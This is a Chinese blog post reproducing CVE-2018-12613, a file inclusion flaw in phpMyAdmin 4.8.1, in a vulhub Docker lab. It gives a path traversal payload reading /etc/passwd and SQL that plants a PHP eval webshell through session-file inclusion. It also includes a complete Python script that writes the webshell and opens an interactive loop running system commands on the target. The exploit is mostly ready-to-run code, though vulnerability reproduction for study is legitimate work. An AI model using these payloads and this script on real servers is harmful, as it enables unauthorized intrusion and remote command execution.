[vulhub]_phpmyadmin_4.8.1_远程文件包含(cve-2018-12613)复现&RCE实现

[网络安全任重道远]
~
题目有点长
~
是这样的。这是vulhub的复现,算是第一个接触的vulhub吧,FFFLLLAAAGGG
~
vulhub ----- 是一个漏洞集成平台,依赖于docker,可以方便的复现漏洞,github上有
phpmyadmin ----- 是网页版的数据库管理工具,
CVE编号是 ----- CVE-2018-12613,
其漏洞有 ----- 文件包含和远程命令执行,
~

过程

漏洞具体原因可参考:
https://www.cnblogs.com/leixiao-/p/10265150.html
这篇文章
这里直接演示,就是文件包含:
~
打开放在服务器上的vulhub

在这里插入图片描述找到:
在这里插入图片描述进入:
在这里插入图片描述

自动编译环境:

docker-compose build

启动环境并查看端口

docker-compose up -d
docker ps   //查看进程信息

在这里插入图片描述然后访问服务器的8080端口就行了:
在这里插入图片描述

开始测试

payload:

https://www.xxx.com?target=db_datadict.php%253f/../../../../../../../etc/passwd

成功:
在这里插入图片描述尝试在新建查询,执行如下语句:

SELECT '<?=phpinfo()?>';

在这里插入图片描述然后查询cookie中的session值,在网页中进行包含,从而实现命令执行:
在这里插入图片描述得到seesion,在网址栏使用语句:

?target=db_sql.php%253f/../../../../../../../../tmp/sess_+查到的session

成功命令执行,得到phpinfo:
在这里插入图片描述既然可以命令执行,那么可以用file_get_contents函数往上面写码,然后连shell:

SELECT "<?=file_put_contents('1.php','<?php eval(@$_POST[a]); ?>')?>";

然后通过seesion访问其1.php所在位置就行了,就能进行连接了:
~
用python脚本来进行RCE,也可以一直用:


#========================== by F1ght_UwU =========================================================

import re
import requests

#手动得到的session,内存中有
session_1 = 'your_session_use_your_F12_TO_FIND'#需要及时更改


url_import = 'http://your_server/import.php'
url_session = 'http://your_server/index.php?target=db_sql.php?/../../../../../../../tmp/sess_'+session_1
url_testpage= 'http://your_server/F1ght.php'

cmd = '''SELECT "<?=file_put_contents('F1ght.php','<?php eval(@$_POST[fun]); ?>')?>";'''

#定义两个headers
headers_1 = {
	'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0',
	'Accept':'*/*',
	'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
	'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
}

headers_2 = {
	'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0',
	'Accept':'*/*',
	'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
	'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
	'X-Requested-With':'XMLHttpRequest',
	'Content-Length':'108',
	'Origin':'http://your_server:your_port',
	'Connection':'close',
	'Cookie':'phpMyAdmin='+session_1+'; pma_lang=zh_CN; ',
	'Pragma':'no-cache',
	'Cache-Control':'no-cache',
}

r = requests.get(url_session,headers = headers_1)
#print(r.text)
pattern = re.compile('s:16:"(.+)";br')
result = pattern.findall(r.text)
#print(result[0])
token = result[0]

data = 'token='+token+'&sql_query='+cmd+'&ajax_request=true'


r = requests.post(url_import,data = data,headers = headers_2)
r = requests.get(url_session,headers = headers_1)
r = requests.get(url_testpage)

#if r.status_code == 200:
	#while 1:
	#print('Success')


def check_status(url):
	r=requests.get(url)
	return r.status_code #尝试状态


def RCE():
	cmd = str(input(':'))
	payload_cmd = {
			'fun':'system("'+cmd+'");' #尝试传入payload来进行命令执行
	}
	#print(payload_cmd)
	r = requests.post(url_testpage,headers=headers_2,data = payload_cmd) 
	print(r.text)
    


if __name__ == '__main__':

	if check_status(url_testpage) == 200:
		while 1:
			print('Success, please input your command')
			RCE()
	else:
		print('sorry, unable to enter this webpage, advice to check your session in your code')
		exit()			
	



记得更改your_sever,和session,改成自己的:
~
执行效果:
在这里插入图片描述

  • 5
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

F1gh4

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值